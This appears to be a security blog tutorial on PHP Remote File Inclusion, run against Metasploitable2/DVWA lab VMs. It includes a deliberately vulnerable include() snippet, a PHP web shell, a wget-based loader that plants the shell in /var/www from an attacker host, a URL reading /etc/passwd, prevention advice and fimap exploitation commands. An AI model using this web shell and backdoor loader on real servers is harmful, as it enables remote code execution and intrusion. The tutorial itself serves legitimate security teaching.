Sec-Art: RFI

RFI stands for Remote File Inclusion, this vulnerability allows an attacker to dynamically include files/scripts from remote/external sources into the web server. This vulnerability occurs due to poorly implemented security checks and sanitization. The successful exploitation of RFI vulnerability leads to remote code execution, Cross Site Scripting, Information disclosure etc. For example :

<?php
  $file = $_GET['file'];
  include($file);
?>

The above page takes file name as input and include that file.

 website.com/test.php?file=page1

But the above php code is vulnerable to RFI attack, and an attacker could easily include remote files and run it on the web server.

 website.com/test.php?file=http://attackersite.com/backdoor.php&cmd=cat%20/etc/passwd

Now lets see an example of the attack. Also note that in php version 5 and above the 'allow_url_include' option is disabled by default, and in order to experiment with RFI you have to enable it.

In this example i am going to use Metasploitable2 VM. The download links are given below :

Download Link : https://download.vulnhub.com/metasploitable/metasploitable-linux-2.0.0.zip

And you also need to enable "allow_url_include" option in Metasploitable2, to do that just open the file '/etc/php5/cgi/php.ini' with nano or vi editor and in Line number 576

 allow_url_include = Off

at above line change Off with On

 allow_url_include = On

Our vulnerable page will take page name and include that page.

Now we try to include an external file from remote source.

File : shell.php

<?php
  $cmd = $_GET['cmd'];
  system($cmd);
?>

URL of php file is : http://192.168.56.1:8000/shell.php

And in the web application, the url will be :

 /dvwa/vulnerabilities/fi/?page=http://192.168.56.1:8000/shell.php&cmd=ls

And as we can see the 'ls' command is successfully executed on the web server. We can also drop our backdoor file on the web server with below code

File : load.php

<?php
  shell_exec('wget http://192.168.56.1:8000/shell.php -O /var/www/shell.php')
?>

The above code will download shell.php and store it on /var/www/ directory.

 http://192.168.56.101/dvwa/vulnerabilities/fi/?page=http://192.168.56.1:8000/load.php

and after the above request, we can access our backdoor 'shell.php', with

 http://192.168.56.101/shell.php?cmd=<command_to_run>

Preventing Remote File Inclusion (RFI) vulnerability

The best way to eliminate Remote File Inclusion (RFI) vulnerabilities is to avoid dynamically including files based on user input. If this is not possible, the application should maintain a whitelist of files that can be included in order to limit the attacker’s control over what gets included. We can also minimize the risk of RFI attacks through proper input validation and sanitization. it’s always preferable to sanitize user-supplied/controlled inputs to the best of your ability. These inputs include:

GET/POST parameters
URL parameters
Cookie values
HTTP header values

It is also recommended to implement validation mechanisms on the server side, because client side validation can be easily bypassed by using a proxy tool like burp suite, ZAP proxy etc.

Additionally, in the case of PHP, most modern PHP configurations are configured with allow_url_include set to off, which would not allow an attacker to include remote files, but it still be vulnerable to Local File Inclusion attack.

Links to other posts :

fimap is an LFI/RFI detection and exploitation tool written in python which can find, prepare, audit, exploit and even google automatically for local and remote file inclusion bugs in webapps. fimap is something like sqlmap just for LFI/RFI bugs instead of SQL injection. The download link is given below :

https://github.com/crunchsec/fimap/archive/master.zip

Now lets see some example of uses fimap.

For help menu :

 ./fimap.py -h

Now lets first try it with Web4Pentest VM's File Inclusion Pages.

Simple Scan :

 ./fimap.py -u http://192.168.56.103/fileincl/example1.php?page=

Output :

as we can see the 'page' parameter is vulnerable. Scanning the second example :

 ./fimap.py -u http://192.168.56.103/fileincl/example2.php?page=

Output :

Scanning with harvest mode : -H

This mode harvest all urls from a given root url of a server and save it to a file.

 ./fimap.py -H -u root_url -w output_file_name

Example :

 ./fimap.py -H -u http://192.168.56.103/ -w op.txt

The output will be saved on op.txt

Now we can use that output file as input for scanning each url with fimap, with using mass scan option (-m)

 ./fimap.py -m -l op.txt

Interactive mode :

'-x' flag is used to start interactive mode in fimap. It lists all vulnerable targets based on previous scan results and gives the option to perform exploitation attempts against them. Example of interactive mode :

 ./fimap.py -x

Links to other Posts :

References :
https://github.com/crunchsec/fimap/
https://www.exploit-db.com/papers/12872
http://kaoticcreations.blogspot.com/2011/08/automated-lfirfi-scanning-exploiting.html

Remote File Inclusion Attacks on Web-Application | RFI Attacks

fimap : tool for exploiting Remote/Local File Inclusion vulnerability | LFI Attacks